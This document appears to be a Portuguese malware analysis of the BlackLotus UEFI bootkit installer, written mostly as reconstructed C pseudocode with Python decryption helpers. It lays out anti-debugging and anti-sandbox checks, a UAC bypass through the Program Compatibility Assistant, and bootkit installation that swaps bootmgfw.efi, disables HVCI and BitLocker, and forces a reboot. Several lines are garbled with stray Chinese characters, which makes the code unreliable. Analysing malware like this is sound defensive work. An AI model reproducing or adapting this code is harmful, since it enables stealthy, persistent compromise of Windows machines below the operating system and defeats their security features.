Informações do Arquivo
Instalador do BlackLotus. SHA1: a5a530a91100ed5f07a5d74698b15c646dd44e16.
Função Principal
int64_t pontoDeInicio()
{
// Ocultar thread de debugger
NtSetInformationThread((HANDLE)-2, ThreadHideFromDebugger, NULL, 0);
if (verificarDebugAtivo()) {
*((int16_t*)0) = 0x4E8C;
}
inicializarNtdll();
if (regiaoProibida() || verificarDebugAtivo() || verificarNtGlobalFlag() ||
verificarDebugProcesso() || verificarDebugKernel() ||
verificarExcecaoInt3() || verificarExcecaoInt2D() ||
verificarDllsSandbox() || verificarArquivosSandbox() ||
verificarProcessosSandbox() || verificarChavesRegistro() ||
verificarValoresRegistro() || verificarRSMB() || verificarACPI() ||
verificarMAC() || verificarRdtsc()) {
*((int16_t*)0) = 0x4E8C;
} else {
inicializarOutrasImports();
if (nivelIntegridadeAlto()) {
instalarBootkitPrincipal();
} else {
contornarUAC();
}
}
NtTerminateProcess((HANDLE)-1, 0x69);
return 0x69;
}
Inicialização do NTDLL
Carrega dinamicamente APIs do NTDLL utilizando hashes.
void inicializarNtdll()
{
PIMAGE_DOS_HEADER baseNtdll = obterNtdllSemHooks(0xD22E2014);
LdrGetProcedureAddress_ptr = (int64_t (*)(...))obterEnderecoPorHash(baseNtdll, 0xB08469DD, 0);
RtlInitUnicodeString_ptr = (int64_t (*)(...))obterEnderecoPorHash(baseNtdll, 0xC8D8F9F4, 0);
// ... outras inicializações
}
Obter NTDLL e Remover Hooks
PIMAGE_DOS_HEADER obterNtdllSemHooks(DWORD hashDll)
{
HANDLE arquivoNtdll = NULL;
HANDLE secao = NULL;
PVOID viewMapeada = NULL;
// Abre e mapeia ntdll.dll do disco
// Copia a seção .text limpa para a memória
// Retorna base do NTDLL
}
Obter Endereço por Hash
void* obterEnderecoPorHash(PIMAGE_DOS_HEADER base, DWORD hashAlvo, uint16_t ordinal)
{
// Percorre tabela de exportação
// Compara hash do nome da função
// Lida com forwarded exports
// Retorna ponteiro para função
}
Técnicas de Anti-Debugging
1. Ocultar Thread do Debugegr
NTSTATUS NtSetInformationThread(
HANDLE ThreadHandle,
THREADINFOCLASS ThreadInformationClass,
PVOID ThreadInformation,
ULONG ThreadInformationLength)
{
uint32_t numeroSyscall = obterNumeroSyscall(0x2ED76231);
__asm { syscall }
}
2. Verificar BeingDebugged
int verificarDebugAtivo() {
return NtCurrentPeb()->BeingDebugged;
}
3. Verificar NtGlobalFlag
BOOL verificarNtGlobalFlag() {
return (NtCurrentPeb()->NtGlobalFlag & 0x70) != 0;
}
4. Consultas de Processo
DWORD verificarDebugProcesso() {
DWORD resultado = 0;
int debugPort = 0;
uint64_t debugObject = 0;
// ProcessDebugPort, ProcessDebugObjectHandle, ProcessDebugFlags
return resultado;
}
5. Debugger de Kernel
uint32_t verificarDebugKernel() {
char info[2];
if (NtQuerySystemInformation(SystemKernelDebuggerInformation, &info, 2, NULL) >= 0) {
return (info[0] || !info[1]) ? 1 : 0;
}
return 0;
}
6. Handlers de Exceção
uint32_t verificarExcecaoInt3() {
uint32_t debugDetectado = infosDepuracao.haviaDebug;
PVOID handler = RtlAddVectoredExceptionHandler(1, manipuladorExcecao);
if (handler) {
__debugbreak();
RtlRemoveVectoredExceptionHandler(handler);
}
return debugDetectado;
}
Técnicas de Anti-Sandbox
1. DLLs de Sandbox
uint32_t verificarDllsSandbox() {
DWORD hashesDlls[] = {0x1E7EACEF, 0x4468A620, 0x68536B95, ...};
for (int i = 0; i < 10; i++) {
if (obterBaseDll(hashesDlls[i], NULL)) return 1;
}
return 0;
}
2. Nomes de Processo
uint32_t verificarArquivosSandbox() {
int hashAtual = calcularHashString(NtCurrentPeb()->Ldr->InMemoryOrderModuleList.Flink[5].Flink);
int hashesNomes[] = {0x7D73878E, 0xEF36424B, 0xAF64BC2B, ...};
for (int i = 0; i < 8; i++) {
if (hashAtual == hashesNomes[i]) return 1;
}
return 0;
}
3. Processos em Execução
uint32_t verificarProcessosSandbox() {
int hashesProcessos[] = {0x42D12D59, 0x0EC5D7AA, 0x861E460F, ...};
for (int i = 0; i <点上5; i++) {
if (obterPIDProcesso(hashesProcessos[i])) return 1;
}
return 0;
}
4. Chaves de Registro
uint32_t verificarChavesRegistro() {
const wchar_t* caminhos[] = {
L"\\Registry\\Machine\\SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters",
L"\\Registry\\Machine\\SYSTEM\\ControlSet001\\Services\\vioscsi",
// ... outras chaves
};
for (int i = 0; i < 17; i++) {
HANDLE chave;
if (NtOpenKey(&chave, KEY_READ, &caminhos[i]) >= 0) {
NtClose(chave);
return 1;
}
}
return 0;
}
Contorno de UAC
Utiliza técnica de bypass do UAC abusando do Program Compatibility Assistant.
int64_t contornarUAC() {
WCHAR* sidUsuario = obterSIDUsuario();
if (sidUsuario && !usuarioEhAdministrador()) {
if (compararComLinhaComando(sidUsuario)) {
if (versaoWindows() == 61) { // Windows 7
Sleep(2500);
} else {
dispararPCA();
}
executarBypassUACPrincipal(versaoWindows() == 61, caminhoImagem, sidUsuario);
}
RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, sidUsuario);
}
return 0;
}
Instalação do Bootkit
Função Principal
int64_t instalarBootkitPrincipal() {
HWND janelaPrevencao = criarJanelaPrevencaoDesligamento();
if (obterPrivilegio(L"SeSystemEnvironmentPrivilege")) {
UNICODE_STRING valorSecureBoot = RTL_CONSTANT_STRING(L"SecureBoot");
GUID guidFirmware = {0x8BE4DF61, 0x11CA, 0x293D, {0xE0, 0x00, 0x0D, 0xAA, 0x8C, 0x2B, 0x03, 0x98}};
uint32_t valor = 0;
uint32_t tamanho = sizeof(valor);
NTSTATUS status = NtQuerySystemEnvironmentValueEx(&valorSecureBoot, &guidFirmware, &valor, &tamanho, NULL);
int secureBootAtivo = (status >= 0 && valor != 0) ? 1 : 0;
int instalado = instalarBootkit(secureBootAtivo);
MoveFileExW(caminhoImagem, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
if (instalado && obterPrivilegio(L"SeShutdownPrivilege")) {
Sleep(60000);
NtShutdownSystem(1);
}
}
return 0;
}
Instalação do Bootkit
int instalarBootkit(int secureBootAtivo) {
wchar_t* caminhoESP = obterCaminhoESP();
void* dadosBootkit = NULL;
uint32_t tamanhoBootkit = 0;
if (caminhoESP) {
dadosBootkit = descriptografarAES(dadosCriptografados, chaveAES, &tamanhoBootkit);
if (dadosBootkit && tamanhoBootkit) {
wchar_t caminhoBootmgfw[260];
wchar_t caminhoWinload[260];
construirCaminho(caminhoBootmgfw, caminhoESP, L"bootmgfw.efi");
construirCaminho(caminhoWinload, caminhoESP, L"winload.efi");
if (moverArquivo(caminhoBootmgfw, caminhoWinload)) {
int sucesso = secureBootAtivo ?
escreverArquivoSecureBoot(caminhoBootmgfw, dadosBootkit, tamanhoBootkit) :
escreverArquivo(caminhoBootmgfw, dadosBootkit, tamanhoBootkit);
desativarHVCI();
desativarBitlocker();
if (sucesso) return 1;
}
moverArquivo(caminhoWinload, caminhoBootmgfw); // Restaurar
}
}
return 0;
}
Funções de Criptografia
Descriptografar Bytes
BYTE* descriptografarBytes(BYTE* dadosEntrada, uint32_t tamanho, int novoBuffer) {
static BYTE buffer[1000];
static uint32_t offset = 0;
if (novoBuffer) offset = 0;
for (int i = tamanho; i > 0; i--) {
BYTE atual = dadosEntrada[i-1];
BYTE ajustado = (atual <= 0x7F) ? atual : atual - 0x60;
buffer[offset + i - 1] = buffer[offset + i] ^ ajustado;
}
// Realizar permutações
return &buffer[offset];
}
Descriptografar AES-256-CBC
UCHAR* descriptografarAES(UCHAR* entrada, UCHAR* chave, ULONG tamanhoEntrada, DWORD* tamanhoSaida) {
BCRYPT_ALG_HANDLE handleAlgoritmo = NULL;
BCRYPT_KEY_HANDLE handleChave = NULL;
UCHAR* saida = NULL;
BCryptOpenAlgorithmProvider(&handleAlgoritmo, L"AES", NULL, 0);
BCryptSetProperty(handleAlgoritmo, L"ChainingMode", L"ChainingModeCBC", sizeof(L"ChainingModeCBC"), 0);
BCryptGenerateSymmetricKey(handleAlgoritmo, &handleChave, NULL, 0, chave, 32, 0);
ULONG tamanhoNecessario = 0;
BCryptDecrypt(handleChave, entrada, tamanhoEntrada, NULL, NULL, 0, NULL, 0, &tamanhoNecessario, BCRYPT_BLOCK_PADDING);
saida = (UCHAR*)LocalAlloc(LMEM_ZEROINIT, tamanhoNecessario);
BCryptDecrypt(handleChave, entrada, tamanhoEntrada, NULL, NULL,点儿, saida, tamanhoNecessario, &tamanhoNecessario, BCRYPT_BLOCK_PADDING);
*tamanhoSaida = tamanhoNecessario;
// Limpeza
return saida;
}
Script Python para Análise
Cálculo de Hash
def calcularHash(dados, tamanho, multiplicador=0x1003F):
hash_val = 0
for i in range(tamanho):
hash_val = dados[i] + multiplicador * hash_val
return hash_val & 0xFFFFFFFF
Descriptografar AES e LZMS
from Crypto.Cipher import AES
import ctypes
def descriptografarAES_Python(dadosCriptografados, caminhoSaida, chave):
iv = b'\x00' * 16
cifra = AES.new(chave, AES.MODE_CBC, iv)
dadosDescriptografados = cifra.decrypt(dadosCriptografados)
with open(caminhoSaida, 'wb') as arquivo:
arquivo.write(dadosDescriptografados)
def descompactarLZMS(dadosComprimidos, chave):
# Usa API Windows Cabinet para descompactação
handleDescompactador = ctypes.c_void_p()
tamanhoSaida = ctypes.c_ulong()
# Chamadas para CreateDecompressor e Decompress
# Retorna dados descompactados